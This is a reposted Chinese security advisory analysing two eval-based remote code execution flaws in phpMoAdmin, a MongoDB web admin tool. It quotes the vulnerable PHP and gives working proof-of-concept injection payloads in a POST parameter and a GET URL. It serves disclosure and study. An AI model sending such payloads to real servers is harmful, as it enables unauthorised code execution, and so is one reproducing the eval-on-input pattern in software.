转载

PhpMoAdmin漏洞分析报告

phpMoAdmin是一款便捷的在线MongoDB管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON格式数据的导入导出的php应用。

最近名为sp1nlock的黑客公布了 phpmoadmin的一个任意代码执行漏洞 ,该漏洞可能导致使用该管理程序的用户被入侵。

经阿里攻防实验室研究员经过简单分析后,在该应用中发现另外一处类似的远程代码执行漏洞(0day)。

PhpMoAdmin漏洞分析报告

0x01 已公开漏洞分析

漏洞文件moadmin.php,无验证登录权限。

public function __construct() {          ….省略若干行…          $action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');          if (isset($_POST['object'])) { //通过object参数传入              if (self::$model->saveObject($_GET['collection'], $_POST['object']))  //传入saveObject函数,导致代码漏洞{                  return $this->_dumpFormVals();

saveObject函数:

   public function saveObject($collection, $obj) {          eval('$obj=' . $obj . ';'); //$obj参数可控,传入Eval执行          return $this->mongo->selectCollection($collection)->save($obj);  }

0x02 利用

通过post传object=1;phpinfo();

PhpMoAdmin漏洞分析报告

0x03 0day分析

该程序存在另外一处任意代码执行漏洞,位置552-557行listRows函数

PhpMoAdmin漏洞分析报告

public function listRows($collection) { foreach ($this->sort as $key => $val) { //cast vals to int  $sort[$key] = (int) $val; } $col = $this->mongo->selectCollection($collection); $find = array(); if (isset($_GET['find']) && $_GET['find']) {//通过get方法传入find变量  $_GET['find'] = trim($_GET['find']);  if (strpos($_GET['find'], 'array') === 0) {//$find简单判断变量是否以array开头,为真则进入漏洞位置   eval('$find = ' . $_GET['find'] . ';');//传入eval执行任意代码  } else if (is_string($_GET['find'])) {   if ($findArr = json_decode($_GET['find'], true)) {    $find = $findArr;   }  } } 

0x04 0day利用

比较没有营养 随手搜搜就出来2个eval  安全脉搏小编辑就直接写了吧 http://ip/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;

PhpMoAdmin漏洞分析报告

【原文:阿里巴巴安全研究实验室–conqu3r SP小编整理发布】

正文到此结束
Loading...